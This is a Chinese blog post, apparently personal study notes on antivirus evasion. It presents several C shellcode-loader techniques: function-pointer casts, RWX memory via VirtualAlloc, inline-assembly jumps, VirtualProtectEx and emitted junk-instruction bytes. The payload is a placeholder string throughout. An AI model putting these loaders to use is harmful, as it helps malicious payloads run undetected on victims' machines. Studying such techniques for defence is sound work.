免杀学习0x01
浏览 3152 | 评论 0 | 字数 3060
硝基苯
2022年08月07日
  • 照者Tide免杀那个文档学的,C基本不会,学起来蛮吃力的,因此在文章中我也会写详细一点,在学免杀过程中学习一下相关语言。

    WinApi文档:http://www.yfvb.com/help/win32sdk/

    C源码编译

    编译踩坑

    问题:编译后的exe本地成功运行,其他PC报VCRUNTIME140D.dll和ucrtbased.dll缺失,安装相应dll后,报无法正常启动0xc000007b
    解决方案:
    1.VS项目工程中,设置 属性 ->配置属性 -> C/C++ ->代码生成 ->运行库。Release选择多线程(/MT),Debug选择 多线程(/MTd)。
    2.编译Release版本,且注意自己的shellcode是32还是64的,选择相应编译器进行编译

    方法一:通过指针执行shellcode

    明天记得改

    unsigned char buf[] = "shellcode";
    
    #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
    //不显示黑窗
    
    main()
    {
        ((void(*)()) &buf)();
        //void(*)() 是一种类型,该类型指向带有不确定参数且不返回任何值的函数指针
        //(void(*)(void)) 是类型转换
        //(void(*)(void)) & buf 强制转换buf为上述类型
        //((void(*)(void)) & buf)() 调用函数
        //简而言之:将buf视为函数的指针,然后调用这个函数,&buf()
        //个人理解:回调函数传地址进去,就是为了执行这段地址的代码,它不一定是个函数,执行就完事了(直接jump过去了)
    }

    方法二:申请动态内存加载shellcode

    #include <windows.h>
    //引入windows api接口
    int main()
    {
        unsigned char Scode[] = "shellcode";
        //申请内存(权限为rwx)
        void* exec = VirtualAlloc(NULL, sizeof(Scode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        //将shellcode复制进申请的内存中
        RtlMoveMemory(exec, Scode, sizeof(Scode));
        //执行shellcode
        ((void(*)())exec)();
        return 0;
    }

    VirtualAlloc(ipAddress,dwSize,flAllocationType,flProtect)

    • ipAddress:指定要分配的区域的所需起始地址。如果正在保留内存,则指定的地址将舍入到下一个64千字节的边界。如果存储器已经被保留并被提交,地址被向下舍入到下一页边界。要确定主机上页面的大小,请使用GetSystemInfo功能。如果此参数为NULL,系统将确定在哪里分配该区域。
    • dwSize:指定区域的大小(字节为单位)
    • flAllocationType:指定分配类型,可以指定以下进行任意组合

      • MEM_COMMIT(0x00001000):在存储器或磁盘上的分页文件中分配指定区域的物理存储空间。
      • MEM_RESERVE(0x00002000):在不分配任何物理存储的情况下,保留进程的虚拟地址空间的范围。任何其他分配操作(的malloc函数,LocalAlloc函数等等)不能使用保留范围,直到它被释放。但在后续调用VirtualAlloc功能时,通过MEM_COMMIT|MEM_RESERVE可以提交保留的页面
      • MEM_TOP_DOWN(0x00100000):以尽可能高的地址分配内存
    方法三:嵌入汇编加载
    • 踩坑:VS 64位不支持__asm,仅32位支持
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker, "/section:.data,RWE")
    
    unsigned char shellcode[] = "shellcode";
    
    void main()
    {
        __asm
        {
        mov eax, offset shellcode
        jmp eax
        }
    }
    • #pragma comment(linker, "/section:.data,RWE")
      设置数据段具有读写共享属性,类似于VirtualAlloc函数
    • __asm
      表示使用内嵌汇编,在其中加入汇编语言,代码也很简单,就是获取到shellcode的偏移量,随后直接jump过去(我用的是vs2022编译的,其他不知道会怎么样),也可以用call替代
    强制类型转换
    #include <windows.h>
    #include <stdio.h>
    
    unsigned char Scode[] = "shellcode";
    void main() {
    
        DWORD dwOldProtect = NULL;
    
        VirtualProtectEx(GetCurrentProcess(), (LPVOID)Scode, sizeof(Scode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
        //将shellocde的内存改为可执行
    
        ((void(WINAPI*)(void)) & Scode)();
    }
    • WINAPI是源自windows.h中的宏,也可以用其他的宏
    方法四:汇编花指令

    花指令一般是放在NOT分支中,反汇编解释器一般优先解释NOT分支,而我们要执行的则是在TRUE中,附大哥和我说的聊天记录
    84960-8mxmxetix1l.png
    文中示例部分
    32位

    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker, "/section:.data,RWE")
    
    unsigned char shellcode[] = "shellcode";
    
    void main() {
        __asm
        {
        mov eax, offset shellcode
        _emit 0xFF
        _emit 0xE0
        }
    }

    92451-kxec8mfaed.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/739/
    最后修改时间:2022-08-07 23:23:47
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论